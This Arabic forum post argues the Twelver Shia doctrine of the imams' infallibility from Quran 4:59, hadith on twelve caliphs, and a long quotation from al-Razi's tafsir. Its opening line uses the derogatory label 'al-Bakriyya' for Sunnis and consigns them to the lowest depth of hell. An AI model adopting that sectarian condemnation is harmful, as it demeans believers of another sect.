إعـــــــلان

تقليص
لا يوجد إعلان حتى الآن.

مذهب اهل البيت....مذهب اهل الحق

تقليص
X
  •  
  • تصفية - فلترة
  • الوقت
  • عرض
إلغاء تحديد الكل
مشاركات جديدة

  • مذهب اهل البيت....مذهب اهل الحق

    ادلة تثبت لائمة اهل البيت:العصمة-الامامة والخلافة-ان المهدي حي.....ووجوب إتباعهم... وايضا تثبت ان الشيعة الرافضة هم الناجون-البكرية هم الغرقى في نار جهنم في الدرك الاسفل من النار...

    قال الله عز وجل في كتابه:
    (يَا أَيُّهَا الَّذِينَ آمَنُوا أَطِيعُوا اللَّهَ وَأَطِيعُوا الرَّسُولَ وَأُولِي الْأَمْرِ مِنكُمْ ۖ فَإِن تَنَازَعْتُمْ فِي شَيْءٍ فَرُدُّوهُ إِلَى اللَّهِ وَالرَّسُولِ إِن كُنتُمْ تُؤْمِنُونَ بِاللَّهِ وَالْيَوْمِ الْآخِرِ ۚ ذَٰلِكَ خَيْرٌ وَأَحْسَنُ تَأْوِيلًا )
    النساء (59)

    إطاعة امر الله ورسوله واضحة....اما اولي الامر فتحتاج الى وقفة.....نسأل سؤال:من هم اولي الامر؟؟!!..

    هل هم السلاطين والحكام...ام الفقهاء العظام....ام ماذا؟

    نقول ان اولي الامر جاءت بصيغة الجمع فواضح ان اولي الامر لا يكون جمع عدده 3 او 5 او 7....بل يكون اكبر من هذه الاعداد بقليل.....اي اقصد 12.....ستقولون كيف؟!!....

    نقول:
    1-الاية جاءت بصيغة الجمع.
    2-انا قلت 12 لانه ورد في البخاري ومسلم وغيرهما:
    لا يزال امر امتي خير حتى يمضي اثنا عشر خليفة...وفي لفظ إثنا عشر اميرا....وفي لفظ رواه احمد بن حنبل في مسنده:*

    ‏، ‏قال : ‏كنا جلوساًً عند ‏ ‏عبد الله بن مسعود ‏ ‏وهو يقرئنا القرآن ، فقال له رجل : يا ‏ ‏أبا عبد الرحمن ‏ ‏هل سألتم رسول الله ‏ (ص) ‏ ‏كم تملك هذه الأمة من خليفة ، فقال عبد الله بن مسعود ‏: ‏ما سألني عنها أحد منذ قدمت ‏ ‏العراق ‏ ‏قبلك ، ثم قال : نعم ، ولقد سألنا رسول الله ‏ (ص) ‏ ‏فقال :*‏*‏إثنا عشر كعدة ‏ ‏نقباء ‏ ‏بني إسرائيل.*‏

    .....كنا مع ‏ ‏عبد الله ‏ ‏جلوساًً في المسجد يقرئنا فأتاه رجل ، فقال : يا ‏ ‏إبن مسعود ‏ ‏هل حدثكم نبيكم كم يكون من بعده خليفة ، قال :*‏نعم كعدة نقباء ‏ ‏بني إسرائيل.*‏

    *
    كلهم من قريش...

    الرابط:


    فلاحظوا العدد إثني عشر ويكونون خلفاء وامراء...فما دام هؤلاء الاثني عشر امراء وخلفاء...فمن هم؟!...اي من شخصياتهم......

    الاية تقول بإطاعة الرسول....لنرى ماذا قال الرسول (صلى الله عليه وآله):

    حديث النبي(صلى الله عليه وآله)المتواتر:
    إني تارك فيكم الخليفتين كتاب الله وعترتي اهل بيتي ما إن تمسكتم بهما لن تضلوا بعدي ابدا ولن يفترقا حتى يردا علي الحوض....

    الرابط:

    فلاحظوا...كتاب الله دائما خليفة المسلمين ولكن نسأل الخلفاء من هم؟!!!....هم عترة النبي(صلى الله عليه وآله)
    ونعرف ان عترة النبي هم الائمة الاثني عشر (عليهم السلام)وهؤلاء الائمة مذكور امرهم وسيرتهم في كتب الفريقين...وهم من قريش...ونلاحظ بالاية ان الله قال (بإطاعة اولي الامر)....فيكون هؤلاء الاثني عشر امراء وخلفاء هم الذين أمرنا بطاعتهم......وما دمنا امرنا بطاعتهم فالاية تدل على عصمة اولي الامر....كما قال بها الفخر الرازي وهو من كبار علماء المخالفين:

    ﺍﻟﺘﻔﺴﻴﺮ ﺍﻟﻜﺒﻴﺮ
    ﺍﻹﻣﺎﻡ ﻓﺨﺮ ﺍﻟﺪﻳﻦ ﺍﻟﺮﺍﺯﻱ ﺃﺑﻮ ﻋﺒﺪ ﺍﻟﻠﻪ ﻣﺤﻤﺪ ﺑﻦ ﻋﻤﺮ ﺑﻦ ﺣﺴﻴﻦ ﺍﻟﻘﺮﺷﻲ ﺍﻟﻄﺒﺮﺳﺘﺎﻧﻲ ﺍﻷﺻﻞ
    ﺩﺍﺭ ﺍﻟﻜﺘﺐ ﺍﻟﻌﻠﻤﻴﺔ ﺑﺒﻴﺮﻭﺕ
    ﺳﻨﺔ ﺍﻟﻨﺸﺮ 2004 : ﻡ – 1425 ﻫـ
    ﺭﻗﻢ ﺍﻟﻄﺒﻌﺔ --- :

    ﺍﻟﻜﺘﺐ ‏» ﺍﻟﺘﻔﺴﻴﺮ ﺍﻟﻜﺒﻴﺮ ﺃﻭ ﻣﻔﺎﺗﻴﺢ ﺍﻟﻐﻴﺐ ‏» ﺳﻮﺭﺓ ﺍﻟﻨﺴﺎﺀ ‏» ﻗﻮﻟﻪ ﺗﻌﺎﻟﻰ ﻳﺎ ﺃﻳﻬﺎ ﺍﻟﺬﻳﻦ ﺁﻣﻨﻮﺍ ﺃﻃﻴﻌﻮﺍ ﺍﻟﻠﻪ ﻭﺃﻃﻴﻌﻮﺍ ﺍﻟﺮﺳﻮﻝ ﻭﺃﻭﻟﻲ ﺍﻷﻣﺮ ﻣﻨﻜﻢ

    ﺍﻟﻤﺴﺄﻟﺔ ﺍﻟﺜﺎﻟﺜﺔ : ﺍﻋﻠﻢ ﺃﻥ ﻗﻮﻟﻪ : ‏( ﻭﺃﻭﻟﻲ ﺍﻷﻣﺮ ﻣﻨﻜﻢ ‏) ﻳﺪﻝ ﻋﻨﺪﻧﺎ ﻋﻠﻰ ﺃﻥ ﺇﺟﻤﺎﻉ ﺍﻷﻣﺔ ﺣﺠﺔ ، ﻭﺍﻟﺪﻟﻴﻞ ﻋﻠﻰ ﺫﻟﻚ ﺃﻥ ﺍﻟﻠﻪ ﺗﻌﺎﻟﻰ ﺃﻣﺮ ﺑﻄﺎﻋﺔ ﺃﻭﻟﻲ ﺍﻷﻣﺮ ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﺠﺰﻡ ﻓﻲ ﻫﺬﻩ ﺍﻵﻳﺔ ، ﻭﻣﻦ ﺃﻣﺮ ﺍﻟﻠﻪ ﺑﻄﺎﻋﺘﻪ ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﺠﺰﻡ ﻭﺍﻟﻘﻄﻊ ﻻ ﺑﺪ ﻭﺃﻥ ﻳﻜﻮﻥ ﻣﻌﺼﻮﻣﺎ ﻋﻦ ﺍﻟﺨﻄﺄ ، ﺇﺫ ﻟﻮ ﻟﻢ ﻳﻜﻦ ﻣﻌﺼﻮﻣﺎ ﻋﻦ ﺍﻟﺨﻄﺄ ﻛﺎﻥ ﺑﺘﻘﺪﻳﺮ ﺇﻗﺪﺍﻣﻪ ﻋﻠﻰ ﺍﻟﺨﻄﺄ ﻳﻜﻮﻥ ﻗﺪ ﺃﻣﺮ ﺍﻟﻠﻪ ﺑﻤﺘﺎﺑﻌﺘﻪ ، ﻓﻴﻜﻮﻥ ﺫﻟﻚ ﺃﻣﺮﺍ ﺑﻔﻌﻞ ﺫﻟﻚ ﺍﻟﺨﻄﺄ ، ﻭﺍﻟﺨﻄﺄ ﻟﻜﻮﻧﻪ ﺧﻄﺄ ﻣﻨﻬﻲ ﻋﻨﻪ ، ﻓﻬﺬﺍ ﻳﻔﻀﻲ ﺇﻟﻰ ﺍﺟﺘﻤﺎﻉ ﺍﻷﻣﺮ ﻭﺍﻟﻨﻬﻲ ﻓﻲ ﺍﻟﻔﻌﻞ ﺍﻟﻮﺍﺣﺪ ﺑﺎﻻﻋﺘﺒﺎﺭ ﺍﻟﻮﺍﺣﺪ ، ﻭﺇﻧﻪ ﻣﺤﺎﻝ ، ﻓﺜﺒﺖ ﺃﻥ ﺍﻟﻠﻪ ﺗﻌﺎﻟﻰ ﺃﻣﺮ ﺑﻄﺎﻋﺔ ﺃﻭﻟﻲ ﺍﻷﻣﺮ ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﺠﺰﻡ ، ﻭﺛﺒﺖ ﺃﻥ ﻛﻞ ﻣﻦ ﺃﻣﺮ ﺍﻟﻠﻪ ﺑﻄﺎﻋﺘﻪ ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﺠﺰﻡ ﻭﺟﺐ ﺃﻥ ﻳﻜﻮﻥ ﻣﻌﺼﻮﻣﺎ ﻋﻦ ﺍﻟﺨﻄﺄ ، ﻓﺜﺒﺖ ﻗﻄﻌﺎ ﺃﻥ ﺃﻭﻟﻲ ﺍﻷﻣﺮ ﺍﻟﻤﺬﻛﻮﺭ ﻓﻲ ﻫﺬﻩ ﺍﻵﻳﺔ ﻻ ﺑﺪ ﻭﺃﻥ ﻳﻜﻮﻥ ﻣﻌﺼﻮﻣﺎ ، ﺛﻢ ﻧﻘﻮﻝ : ﺫﻟﻚ ﺍﻟﻤﻌﺼﻮﻡ ﺇﻣﺎ ﻣﺠﻤﻮﻉ ﺍﻷﻣﺔ ﺃﻭ ﺑﻌﺾ ﺍﻷﻣﺔ ، ﻻ ﺟﺎﺋﺰ ﺃﻥ ﻳﻜﻮﻥ ﺑﻌﺾ ﺍﻷﻣﺔ ؛ ﻷﻧﺎ ﺑﻴﻨﺎ ﺃﻥ ﺍﻟﻠﻪ ﺗﻌﺎﻟﻰ ﺃﻭﺟﺐ ﻃﺎﻋﺔ ﺃﻭﻟﻲ ﺍﻷﻣﺮ ﻓﻲ ﻫﺬﻩ ﺍﻵﻳﺔ ﻗﻄﻌﺎ ، ﻭﺇﻳﺠﺎﺏ ﻃﺎﻋﺘﻬﻢ ﻗﻄﻌﺎ ﻣﺸﺮﻭﻁ ﺑﻜﻮﻧﻨﺎ ﻋﺎﺭﻓﻴﻦ ﺑﻬﻢ ﻗﺎﺩﺭﻳﻦ ﻋﻠﻰ ﺍﻟﻮﺻﻮﻝ ﺇﻟﻴﻬﻢ ﻭﺍﻻﺳﺘﻔﺎﺩﺓ ﻣﻨﻬﻢ ، ﻭﻧﺤﻦ ﻧﻌﻠﻢ ﺑﺎﻟﻀﺮﻭﺭﺓ ﺃﻧﺎ ﻓﻲ ﺯﻣﺎﻧﻨﺎ ﻫﺬﺍ ﻋﺎﺟﺰﻭﻥ ﻋﻦ ﻣﻌﺮﻓﺔ ﺍﻹﻣﺎﻡ ﺍﻟﻤﻌﺼﻮﻡ ، ﻋﺎﺟﺰﻭﻥ ﻋﻦ ﺍﻟﻮﺻﻮﻝ ﺇﻟﻴﻬﻢ ، ﻋﺎﺟﺰﻭﻥ ﻋﻦ ﺍﺳﺘﻔﺎﺩﺓ ﺍﻟﺪﻳﻦ ﻭﺍﻟﻌﻠﻢ ﻣﻨﻬﻢ ، ﻭﺇﺫﺍ ﻛﺎﻥ ﺍﻷﻣﺮ ﻛﺬﻟﻚ ﻋﻠﻤﻨﺎ ﺃﻥ ﺍﻟﻤﻌﺼﻮﻡ ﺍﻟﺬﻱ ﺃﻣﺮ ﺍﻟﻠﻪ ﺍﻟﻤﺆﻣﻨﻴﻦ ﺑﻄﺎﻋﺘﻪ ﻟﻴﺲ ﺑﻌﻀﺎ ﻣﻦ ﺃﺑﻌﺎﺽ ﺍﻷﻣﺔ ، ﻭﻻ ﻃﺎﺋﻔﺔ ﻣﻦ ﻃﻮﺍﺋﻔﻬﻢ . ﻭﻟﻤﺎ ﺑﻄﻞ ﻫﺬﺍ ﻭﺟﺐ ﺃﻥ ﻳﻜﻮﻥ ﺫﻟﻚ ﺍﻟﻤﻌﺼﻮﻡ ﺍﻟﺬﻱ ﻫﻮ ﺍﻟﻤﺮﺍﺩ ﺑﻘﻮﻟﻪ : ‏( ﻭﺃﻭﻟﻲ ﺍﻷﻣﺮ ‏) ﺃﻫﻞ ﺍﻟﺤﻞ ﻭﺍﻟﻌﻘﺪ ﻣﻦ ﺍﻷﻣﺔ ، ﻭﺫﻟﻚ ﻳﻮﺟﺐ ﺍﻟﻘﻄﻊ ﺑﺄﻥ ﺇﺟﻤﺎﻉ ﺍﻷﻣﺔ ﺣﺠﺔ .
    ﻓﺈﻥ ﻗﻴﻞ : ﺍﻟﻤﻔﺴﺮﻭﻥ ﺫﻛﺮﻭﺍ ﻓﻲ " ﺃﻭﻟﻲ ﺍﻷﻣﺮ " ﻭﺟﻮﻫﺎ ﺃﺧﺮﻯ ﺳﻮﻯ ﻣﺎ ﺫﻛﺮﺗﻢ : ﺃﺣﺪﻫﺎ : ﺃﻥ ﺍﻟﻤﺮﺍﺩ ﻣﻦ ﺃﻭﻟﻲ ﺍﻷﻣﺮ ﺍﻟﺨﻠﻔﺎﺀ ﺍﻟﺮﺍﺷﺪﻭﻥ .
    ﻭﺍﻟﺜﺎﻧﻲ : ﺍﻟﻤﺮﺍﺩ ﺃﻣﺮﺍﺀ ﺍﻟﺴﺮﺍﻳﺎ ، ﻗﺎﻝ ﺳﻌﻴﺪ ﺑﻦ ﺟﺒﻴﺮ : ﻧﺰﻟﺖ ﻫﺬﻩ ﺍﻵﻳﺔ ﻓﻲ ﻋﺒﺪ ﺍﻟﻠﻪ ﺑﻦ ﺣﺬﺍﻓﺔ ﺍﻟﺴﻬﻤﻲ ﺇﺫ ﺑﻌﺜﻪ ﺍﻟﻨﺒﻲ - ﺻﻠﻰ ﺍﻟﻠﻪ ﻋﻠﻴﻪ ﻭﺳﻠﻢ - ﺃﻣﻴﺮﺍ ﻋﻠﻰ ﺳﺮﻳﺔ . ﻭﻋﻦ ﺍﺑﻦ ﻋﺒﺎﺱ
    ﺃﻧﻬﺎ ﻧﺰﻟﺖ ﻓﻲ ﺧﺎﻟﺪ ﺑﻦ ﺍﻟﻮﻟﻴﺪ ، ﺑﻌﺜﻪ ﺍﻟﻨﺒﻲ - ﺻﻠﻰ ﺍﻟﻠﻪ ﻋﻠﻴﻪ ﻭﺳﻠﻢ - ﺃﻣﻴﺮﺍ ﻋﻠﻰ ﺳﺮﻳﺔ ﻭﻓﻴﻬﺎ ﻋﻤﺎﺭ ﺑﻦ ﻳﺎﺳﺮ ، ﻓﺠﺮﻯ ﺑﻴﻨﻬﻤﺎ ﺍﺧﺘﻼﻑ ﻓﻲ ﺷﻲﺀ ، ﻓﻨﺰﻟﺖ ﻫﺬﻩ ﺍﻵﻳﺔ ، ﻭﺃﻣﺮ ﺑﻄﺎﻋﺔ ﺃﻭﻟﻲ ﺍﻷﻣﺮ .
    ﻭﺛﺎﻟﺜﻬﺎ : ﺍﻟﻤﺮﺍﺩ : ﺍﻟﻌﻠﻤﺎﺀ ﺍﻟﺬﻳﻦ ﻳﻔﺘﻮﻥ ﻓﻲ ﺍﻷﺣﻜﺎﻡ ﺍﻟﺸﺮﻋﻴﺔ ﻭﻳﻌﻠﻤﻮﻥ ﺍﻟﻨﺎﺱ ﺩﻳﻨﻬﻢ ، ﻭﻫﺬﺍ ﺭﻭﺍﻳﺔ ﺍﻟﺜﻌﻠﺒﻲ ﻋﻦ ﺍﺑﻦ ﻋﺒﺎﺱ
    ﻭﻗﻮﻝ ﺍﻟﺤﺴﻦ ﻭﻣﺠﺎﻫﺪ ﻭﺍﻟﻀﺤﺎﻙ .
    ﻭﺭﺍﺑﻌﻬﺎ : ﻧﻘﻞ ﻋﻦ ﺍﻟﺮﻭﺍﻓﺾ ﺃﻥ ﺍﻟﻤﺮﺍﺩ ﺑﻪ ﺍﻷﺋﻤﺔ ﺍﻟﻤﻌﺼﻮﻣﻮﻥ ، ﻭﻟﻤﺎ ﻛﺎﻧﺖ ﺃﻗﻮﺍﻝ ﺍﻷﻣﺔ ﻓﻲ ﺗﻔﺴﻴﺮ ﻫﺬﻩ ﺍﻵﻳﺔ ﻣﺤﺼﻮﺭﺓ ﻓﻲ ﻫﺬﻩ ﺍﻟﻮﺟﻮﻩ ، ﻭﻛﺎﻥ ﺍﻟﻘﻮﻝ ﺍﻟﺬﻱ ﻧﺼﺮﺗﻤﻮﻩ ﺧﺎﺭﺟﺎ ﻋﻨﻬﺎ ﻛﺎﻥ ﺫﻟﻚ ﺑﺈﺟﻤﺎﻉ ﺍﻷﻣﺔ ﺑﺎﻃﻼ .
    ﺍﻟﺴﺆﺍﻝ ﺍﻟﺜﺎﻧﻲ : ﺃﻥ ﻧﻘﻮﻝ : ﺣﻤﻞ ﺃﻭﻟﻲ ﺍﻷﻣﺮ ﻋﻠﻰ ﺍﻷﻣﺮﺍﺀ ﻭﺍﻟﺴﻼﻃﻴﻦ ﺃﻭﻟﻰ ﻣﻤﺎ ﺫﻛﺮﺗﻢ . ﻭﻳﺪﻝ ﻋﻠﻴﻪ ﻭﺟﻮﻩ :
    ﺍﻷﻭﻝ : ﺃﻥ ﺍﻷﻣﺮﺍﺀ ﻭﺍﻟﺴﻼﻃﻴﻦ ﺃﻭﺍﻣﺮﻫﻢ ﻧﺎﻓﺬﺓ ﻋﻠﻰ ﺍﻟﺨﻠﻖ ، ﻓﻬﻢ ﻓﻲ ﺍﻟﺤﻘﻴﻘﺔ ﺃﻭﻟﻮ ﺍﻷﻣﺮ ، ﺃﻣﺎ ﺃﻫﻞ ﺍﻹﺟﻤﺎﻉ ﻓﻠﻴﺲ ﻟﻬﻢ ﺃﻣﺮ ﻧﺎﻓﺬ ﻋﻠﻰ ﺍﻟﺨﻠﻖ ، ﻓﻜﺎﻥ ﺣﻤﻞ ﺍﻟﻠﻔﻆ ﻋﻠﻰ ﺍﻷﻣﺮﺍﺀ ﻭﺍﻟﺴﻼﻃﻴﻦ ﺃﻭﻟﻰ .
    ﻭﺍﻟﺜﺎﻧﻲ : ﺃﻥ ﺃﻭﻝ ﺍﻵﻳﺔ ﻭﺁﺧﺮﻫﺎ ﻳﻨﺎﺳﺐ ﻣﺎ ﺫﻛﺮﻧﺎﻩ ، ﺃﻣﺎ ﺃﻭﻝ ﺍﻵﻳﺔ ﻓﻬﻮ ﺃﻧﻪ ﺗﻌﺎﻟﻰ ﺃﻣﺮ ﺍﻟﺤﻜﺎﻡ ﺑﺄﺩﺍﺀ ﺍﻷﻣﺎﻧﺎﺕ ﻭﺑﺮﻋﺎﻳﺔ ﺍﻟﻌﺪﻝ ، ﻭﺃﻣﺎ ﺁﺧﺮ ﺍﻵﻳﺔ ﻓﻬﻮ ﺃﻧﻪ ﺗﻌﺎﻟﻰ ﺃﻣﺮ ﺑﺎﻟﺮﺩ ﺇﻟﻰ ﺍﻟﻜﺘﺎﺏ ﻭﺍﻟﺴﻨﺔ ﻓﻴﻤﺎ ﺃﺷﻜﻞ ، ﻭﻫﺬﺍ ﺇﻧﻤﺎ ﻳﻠﻴﻖ ﺑﺎﻷﻣﺮﺍﺀ ﻻ ﺑﺄﻫﻞ ﺍﻹﺟﻤﺎﻉ .
    ﺍﻟﺜﺎﻟﺚ : ﺃﻥ ﺍﻟﻨﺒﻲ - ﺻﻠﻰ ﺍﻟﻠﻪ ﻋﻠﻴﻪ ﻭﺳﻠﻢ - ﺑﺎﻟﻎ ﻓﻲ ﺍﻟﺘﺮﻏﻴﺐ ﻓﻲ ﻃﺎﻋﺔ ﺍﻷﻣﺮﺍﺀ ، ﻓﻘﺎﻝ : " ﻣﻦ ﺃﻃﺎﻋﻨﻲ ﻓﻘﺪ ﺃﻃﺎﻉ ﺍﻟﻠﻪ ، ﻭﻣﻦ ﺃﻃﺎﻉ ﺃﻣﻴﺮﻱ ﻓﻘﺪ ﺃﻃﺎﻋﻨﻲ ، ﻭﻣﻦ ﻋﺼﺎﻧﻲ ﻓﻘﺪ ﻋﺼﻰ ﺍﻟﻠﻪ ، ﻭﻣﻦ ﻋﺼﻰ ﺃﻣﻴﺮﻱ ﻓﻘﺪ ﻋﺼﺎﻧﻲ " ﻓﻬﺬﺍ ﻣﺎ ﻳﻤﻜﻦ ﺫﻛﺮﻩ ﻣﻦ ﺍﻟﺴﺆﺍﻝ ﻋﻠﻰ ﺍﻻﺳﺘﺪﻻﻝ ﺍﻟﺬﻱ ﺫﻛﺮﻧﺎﻩ .
    ﻭﺍﻟﺠﻮﺍﺏ : ﺃﻧﻪ ﻻ ﻧﺰﺍﻉ ﺃﻥ ﺟﻤﺎﻋﺔ ﻣﻦ ﺍﻟﺼﺤﺎﺑﺔ ﻭﺍﻟﺘﺎﺑﻌﻴﻦ ﺣﻤﻠﻮﺍ ﻗﻮﻟﻪ : ‏( ﻭﺃﻭﻟﻲ ﺍﻷﻣﺮ ﻣﻨﻜﻢ ‏) ﻋﻠﻰ ‏[ ﺹ : 117 ‏] ﺍﻟﻌﻠﻤﺎﺀ ، ﻓﺈﺫﺍ ﻗﻠﻨﺎ : ﺍﻟﻤﺮﺍﺩ ﻣﻨﻪ ﺟﻤﻴﻊ ﺍﻟﻌﻠﻤﺎﺀ ﻣﻦ ﺃﻫﻞ ﺍﻟﻌﻘﺪ ﻭﺍﻟﺤﻞ ﻟﻢ ﻳﻜﻦ ﻫﺬﺍ ﻗﻮﻻ ﺧﺎﺭﺟﺎ ﻋﻦ ﺃﻗﻮﺍﻝ ﺍﻷﻣﺔ ، ﺑﻞ ﻛﺎﻥ ﻫﺬﺍ ﺍﺧﺘﻴﺎﺭﺍ ﻷﺣﺪ ﺃﻗﻮﺍﻟﻬﻢ ﻭﺗﺼﺤﻴﺤﺎ ﻟﻪ ﺑﺎﻟﺤﺠﺔ ﺍﻟﻘﺎﻃﻌﺔ ، ﻓﺎﻧﺪﻓﻊ ﺍﻟﺴﺆﺍﻝ ﺍﻷﻭﻝ : ﻭﺃﻣﺎ ﺳﺆﺍﻟﻬﻢ ﺍﻟﺜﺎﻧﻲ ﻓﻬﻮ ﻣﺪﻓﻮﻉ ؛ ﻷﻥ ﺍﻟﻮﺟﻮﻩ ﺍﻟﺘﻲ ﺫﻛﺮﻭﻫﺎ ﻭﺟﻮﻩ ﺿﻌﻴﻔﺔ ، ﻭﺍﻟﺬﻱ ﺫﻛﺮﻧﺎﻩ ﺑﺮﻫﺎﻥ ﻗﺎﻃﻊ ، ﻓﻜﺎﻥ ﻗﻮﻟﻨﺎ ﺃﻭﻟﻰ ، ﻋﻠﻰ ﺃﻧﺎ ﻧﻌﺎﺭﺽ ﺗﻠﻚ ﺍﻟﻮﺟﻮﻩ ﺑﻮﺟﻮﻩ ﺃﺧﺮﻯ ﺃﻗﻮﻯ ﻣﻨﻬﺎ :
    ﻓﺄﺣﺪﻫﺎ : ﺃﻥ ﺍﻷﻣﺔ ﻣﺠﻤﻌﺔ ﻋﻠﻰ ﺃﻥ ﺍﻷﻣﺮﺍﺀ ﻭﺍﻟﺴﻼﻃﻴﻦ ﺇﻧﻤﺎ ﻳﺠﺐ ﻃﺎﻋﺘﻬﻢ ﻓﻴﻤﺎ ﻋﻠﻢ ﺑﺎﻟﺪﻟﻴﻞ ﺃﻧﻪ ﺣﻖ ﻭﺻﻮﺍﺏ ، ﻭﺫﻟﻚ ﺍﻟﺪﻟﻴﻞ ﻟﻴﺲ ﺇﻻ ﺍﻟﻜﺘﺎﺏ ﻭﺍﻟﺴﻨﺔ ، ﻓﺤﻴﻨﺌﺬ ﻻ ﻳﻜﻮﻥ ﻫﺬﺍ ﻗﺴﻤﺎ ﻣﻨﻔﺼﻼ ﻋﻦ ﻃﺎﻋﺔ ﺍﻟﻜﺘﺎﺏ ﻭﺍﻟﺴﻨﺔ ، ﻭﻋﻦ ﻃﺎﻋﺔ ﺍﻟﻠﻪ ﻭﻃﺎﻋﺔ ﺭﺳﻮﻟﻪ ، ﺑﻞ ﻳﻜﻮﻥ ﺩﺍﺧﻼ ﻓﻴﻪ ، ﻛﻤﺎ ﺃﻥ ﻭﺟﻮﺏ ﻃﺎﻋﺔ ﺍﻟﺰﻭﺟﺔ ﻟﻠﺰﻭﺝ ﻭﺍﻟﻮﻟﺪ ﻟﻠﻮﺍﻟﺪﻳﻦ ﻭﺍﻟﺘﻠﻤﻴﺬ ﻟﻸﺳﺘﺎﺫ ﺩﺍﺧﻞ ﻓﻲ ﻃﺎﻋﺔ ﺍﻟﻠﻪ ﻭﻃﺎﻋﺔ ﺍﻟﺮﺳﻮﻝ ، ﺃﻣﺎ ﺇﺫﺍ ﺣﻤﻠﻨﺎﻩ ﻋﻠﻰ ﺍﻹﺟﻤﺎﻉ ﻟﻢ ﻳﻜﻦ ﻫﺬﺍ ﺍﻟﻘﺴﻢ ﺩﺍﺧﻼ ﺗﺤﺘﻬﺎ ؛ ﻷﻧﻪ ﺭﺑﻤﺎ ﺩﻝ ﺍﻹﺟﻤﺎﻉ ﻋﻠﻰ ﺣﻜﻢ ﺑﺤﻴﺚ ﻻ ﻳﻜﻮﻥ ﻓﻲ ﺍﻟﻜﺘﺎﺏ ﻭﺍﻟﺴﻨﺔ ﺩﻻﻟﺔ ﻋﻠﻴﻪ ، ﻓﺤﻴﻨﺌﺬ ﺃﻣﻜﻦ ﺟﻌﻞ ﻫﺬﺍ ﺍﻟﻘﺴﻢ ﻣﻨﻔﺼﻼ ﻋﻦ ﺍﻟﻘﺴﻤﻴﻦ ﺍﻷﻭﻟﻴﻦ ، ﻓﻬﺬﺍ ﺃﻭﻟﻰ .
    ﻭﺛﺎﻧﻴﻬﺎ : ﺃﻥ ﺣﻤﻞ ﺍﻵﻳﺔ ﻋﻠﻰ ﻃﺎﻋﺔ ﺍﻷﻣﺮﺍﺀ ﻳﻘﺘﻀﻲ ﺇﺩﺧﺎﻝ ﺍﻟﺸﺮﻁ ﻓﻲ ﺍﻵﻳﺔ ؛ ﻷﻥ ﻃﺎﻋﺔ ﺍﻷﻣﺮﺍﺀ ﺇﻧﻤﺎ ﺗﺠﺐ ﺇﺫﺍ ﻛﺎﻧﻮﺍ ﻣﻊ ﺍﻟﺤﻖ ، ﻓﺈﺫﺍ ﺣﻤﻠﻨﺎﻩ ﻋﻠﻰ ﺍﻹﺟﻤﺎﻉ ﻻ ﻳﺪﺧﻞ ﺍﻟﺸﺮﻁ ﻓﻲ ﺍﻵﻳﺔ ، ﻓﻜﺎﻥ ﻫﺬﺍ ﺃﻭﻟﻰ .
    ﻭﺛﺎﻟﺜﻬﺎ : ﺃﻥ ﻗﻮﻟﻪ ﻣﻦ ﺑﻌﺪ : ‏( ﻓﺈﻥ ﺗﻨﺎﺯﻋﺘﻢ ﻓﻲ ﺷﻲﺀ ﻓﺮﺩﻭﻩ ﺇﻟﻰ ﺍﻟﻠﻪ ‏) ﻣﺸﻌﺮ ﺑﺈﺟﻤﺎﻉ ﻣﻘﺪﻡ ﻳﺨﺎﻟﻒ ﺣﻜﻤﻪ ﺣﻜﻢ ﻫﺬﺍ ﺍﻟﺘﻨﺎﺯﻉ .
    ﻭﺭﺍﺑﻌﻬﺎ : ﺃﻥ ﻃﺎﻋﺔ ﺍﻟﻠﻪ ﻭﻃﺎﻋﺔ ﺭﺳﻮﻟﻪ ﻭﺍﺟﺒﺔ ﻗﻄﻌﺎ ، ﻭﻋﻨﺪﻧﺎ ﺃﻥ
    ﻃﺎﻋﺔ ﺃﻫﻞ ﺍﻹﺟﻤﺎﻉ ﻭﺍﺟﺒﺔ ﻗﻄﻌﺎ ، ﻭﺃﻣﺎ ﻃﺎﻋﺔ ﺍﻷﻣﺮﺍﺀ ﻭﺍﻟﺴﻼﻃﻴﻦ ﻓﻐﻴﺮ ﻭﺍﺟﺒﺔ ﻗﻄﻌﺎ ، ﺑﻞ ﺍﻷﻛﺜﺮ ﺃﻧﻬﺎ ﺗﻜﻮﻥ ﻣﺤﺮﻣﺔ ﻷﻧﻬﻢ ﻻ ﻳﺄﻣﺮﻭﻥ ﺇﻻ ﺑﺎﻟﻈﻠﻢ ، ﻭﻓﻲ ﺍﻷﻗﻞ ﺗﻜﻮﻥ ﻭﺍﺟﺒﺔ ﺑﺤﺴﺐ ﺍﻟﻈﻦ ﺍﻟﻀﻌﻴﻒ ، ﻓﻜﺎﻥ ﺣﻤﻞ ﺍﻵﻳﺔ ﻋﻠﻰ ﺍﻹﺟﻤﺎﻉ ﺃﻭﻟﻰ ؛ ﻷﻧﻪ ﺃﺩﺧﻞ ﺍﻟﺮﺳﻮﻝ ﻭﺃﻭﻟﻲ ﺍﻷﻣﺮ ﻓﻲ ﻟﻔﻆ ﻭﺍﺣﺪ ﻭﻫﻮ ﻗﻮﻟﻪ : ‏( ﺃﻃﻴﻌﻮﺍ ﺍﻟﻠﻪ ﻭﺃﻃﻴﻌﻮﺍ ﺍﻟﺮﺳﻮﻝ ﻭﺃﻭﻟﻲ ﺍﻷﻣﺮ ‏) ﻓﻜﺎﻥ ﺣﻤﻞ ﺃﻭﻟﻲ ﺍﻷﻣﺮ ﺍﻟﺬﻱ ﻫﻮ ﻣﻘﺮﻭﻥ ﺑﺎﻟﺮﺳﻮﻝ ﻋﻠﻰ ﺍﻟﻤﻌﺼﻮﻡ ﺃﻭﻟﻰ ﻣﻦ ﺣﻤﻠﻪ ﻋﻠﻰ ﺍﻟﻔﺎﺟﺮ ﺍﻟﻔﺎﺳﻖ .
